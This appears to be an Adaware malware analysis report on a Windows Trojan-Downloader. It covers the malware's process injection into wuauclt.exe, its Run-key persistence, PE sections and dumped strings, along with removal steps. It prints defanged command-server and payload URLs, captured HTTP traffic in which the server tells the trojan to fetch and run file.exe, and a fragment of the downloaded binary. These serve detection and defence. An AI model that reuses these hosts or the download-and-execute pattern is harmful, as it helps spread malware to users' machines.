TrojanDownloader.Win32.Moure_1784a24cb1 – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan-Downloader creates the following process(es):

%original file name%.exe:1096
vrsvps.exe:1932
vrsvps.exe:1924

The Trojan-Downloader injects its code into the following process(es):

wuauclt.exe:656

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process %original file name%.exe:1096 makes changes in the file system.

The Trojan-Downloader creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Application Data\vrsvps\vrsvps.exe (601 bytes)

Registry activity

The process %original file name%.exe:1096 makes changes in the system registry.

The Trojan-Downloader creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "63 F6 20 F4 A5 3E 2F BF 5D 48 ED D8 60 05 CF B1"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1438627695"
"Name" = "%original file name%.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

To automatically run itself each time Windows is booted, the Trojan-Downloader adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"" = "%Documents and Settings%\%current user%\Local Settings\Application Data\vrsvps\vrsvps.exe -a"

The process vrsvps.exe:1932 makes changes in the system registry.

The Trojan-Downloader creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "77 35 A6 47 B2 E1 76 8B AE CB 41 B3 47 C5 64 AC"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1438627695"
"Name" = "vrsvps.exe"

The process vrsvps.exe:1924 makes changes in the system registry.

The Trojan-Downloader creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "33 00 EC F4 86 B9 28 38 F3 14 A3 09 76 51 4E 17"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1438627695"
"Name" = "vrsvps.exe"

Dropped PE files

There are no dropped PE files.

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
%original file name%.exe:1096
vrsvps.exe:1932
vrsvps.exe:1924
Delete the original Trojan-Downloader file.
Delete or disinfect the following files created/modified by the Trojan-Downloader:
%Documents and Settings%\%current user%\Local Settings\Application Data\vrsvps\vrsvps.exe (601 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"" = "%Documents and Settings%\%current user%\Local Settings\Application Data\vrsvps\vrsvps.exe -a"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.ihuzseh	4096	83112	83456	4.84191	4469bd475345986feeb9852d888f6179
.rdata	90112	16152	16384	2.59772	e81e6e057791bc6790945f4256b44c96
.data	106496	18508	4608	1.60315	59b5f5e9b558e6eeda46d72dc9059601
.rsrc	126976	16	512	0	bf619eac0cdf3f68d496ea9344137e8b

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://pro7778.com/pro/getter.php?mode=reg&id=75ed9567-aa58-4c8e-a8ea-3cad7c47ab03&os=5132&vga=VMware SVGA II&ocl=0&skype=0	153.92.96.79
hxxp://glennmetales.com/backup/xmlrpc/css/file.exe	50.63.40.1

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /backup/xmlrpc/css/file.exe HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)

Host: glennmetales.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Fri, 11 Sep 2015 09:10:29 GMT

Server: Apache

Last-Modified: Mon, 03 Aug 2015 18:50:36 GMT

ETag: "19e00-51c6ca52fb629"

Accept-Ranges: bytes

Content-Length: 105984

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: application/x-msdownload

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........dd.f.7.f.7.f.7...7.f.7...7.f.7...7.f.7.f.7.f.7...7.f.7...7.f.7...7.f.7Rich.f.7........................PE..L...o..U.................F..........g........`....@.....................................................................................................................................................@............`..$............................ihuzseh.D.......F.................. ..`.rdata...?...`...@...J..............@..@.data...LH..........................@....rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................................Hl0xWBCK9Xs1kHF/alxi mMFWUeP9lTzueOaaB1h302sN10VcA9IQylC9XZBq14A7tI2w/UCNl7MOASra1XaKpQuyHm7qrDu6DKczOovVOMEidFsnVhpa0MpxW1mz/QcUM7gLfKi036RebenVKEMVZ FLSmJeFSFCUtx91Xi7e9JYM5UlftcFqR084RpgAxFaeAine2CeS Yq6O3bYPwSgl5Wb0mYWUagtBapYcNA/GL17rHhpwmUvJf/Z7EVGWKO5a3pbSHKGOnUMATKNobCdGJrDv0hb8ikw1XrwwzEMfFvymrftGDaQKfE piPGHOiD1DFc avuxgrI6Y62HJi3zh4sRkYQjbGmfdClSApCek9JiGU1hil7Ghb3EKz2bCTTo bk/xzaiqvnS36U2rtfskYFPSmCYy5P/mXklvsuFdEW0KfNBvTVJkj5UGhXcX1j/C8panMaGiDRa6IM9rfYl1Gw4Q0CEA9WIulQ0FTU57sylVv00/QjfNIyyJG5Kl

<<< skipped >>>

GET /pro/getter.php?mode=reg&id=75ed9567-aa58-4c8e-a8ea-3cad7c47ab03&os=5132&vga=VMware SVGA II&ocl=0&skype=0 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)

Host: pro7778.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 11 Sep 2015 09:10:29 GMT

Content-Type: text/html

Content-Length: 59

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.3.29

Vary: Accept-Encoding,User-Agent

#update;hXXp://glennmetales.com/backup/xmlrpc/css/file.exe;HTTP/1.1 200 OK..Server: nginx..Date: Fri, 11 Sep 2015 09:10:29 GMT..Content-Type: text/html..Content-Length: 59..Connection: keep-alive..Vary: Accept-Encoding..X-Powered-By: PHP/5.3.29..Vary: Accept-Encoding,User-Agent..#update;hXXp://glennmetales.com/backup/xmlrpc/css/file.exe;..

Map

The Trojan-Downloader connects to the servers at the folowing location(s):

Strings from Dumps

wuauclt.exe_656:

.text

`.data

.rsrc

@.reloc

wuauclt.pdb

GetProcessHeap

KERNEL32.dll

_wcmdln

_amsg_exit

msvcrt.dll

ntdll.dll

ole32.dll

RegCloseKey

RegOpenKeyExW

RegCreateKeyExW

ADVAPI32.dll

USER32.dll

OLEAUT32.dll

SHLWAPI.dll

zcÃ

version="6.0.0.0"

name="Microsoft.Windows.windowsupdate.wuauclt"

true

name="Microsoft.Windows.Common-Controls"

publicKeyToken="6595b64144ccf1df"

wuaueng.dll

Error: 0xx. wuauclt handler: failed to spawn COM server

Error: 0xx. wuauclt handler: failed to load wuaueng

/ReportNow

/ShowWindowsUpdate

/CloseWindowsUpdate

wuauclt.exe failed to get proc address for UI export object with error %#lx

Failed to load %s with error %X

wucltui.dll

wucltux.dll

call RunAUClientUI on wucltui.dll/wucltux.dll

Ntdll.dll

WuSqm %ls session datapoint (id:%d) is incremented with dword %d.

wuauclt.exe is exiting with code 0xX

wuauclt.exe launched with command line %s

kernel32.dll

WUWeb

Report

7.6.7600.256

Global\WindowsUpdateTracingMutex

WindowsUpdate.log

SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Trace

Windows

shell32.dll

%s: %s [

%s: %s

%s\%s

= Module: %s

= Module:

= Process: %s

= Process:

=========== Logging initialized (build: %s, tz: %s) ===========

wups2.dll

wups.dll

Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Setup\ServiceStartup\

%hs %ls page "%ls", hr=%X

Microsoft.WindowsUpdate

wupdmgr.exe

Failed to cocreate IShellWindows, error = 0xlX

Failed to obtain window doc for window %d, error = 0xlX

Failed to obtain folder view for window %d, error = 0xlX

Failed to obtain folder IPersist for window %d, error = 0xlX

Window %d is NOT a WU window

Done enumerating windows

Quit for window %d failed: 0xlX

Window %d is a WU window. Attempting to close

Failed to obtain class ID for window %d, error = 0xlX

Got NULL disp interface for window %d

Got %d instead of VT_DISPATCH for window %d

Failed to obtain IWebBrowserApp for window %d, error = 0xlX

Failed to enumerate window %d, error = 0xlX

Found %d explorer windows

Closing WU explorer windows

Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\VolatileData

WUAppNotificationWindows

SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired

SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired\Mandatory

SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\PostRebootReporting

SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Services\Pending\

%chdhd

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps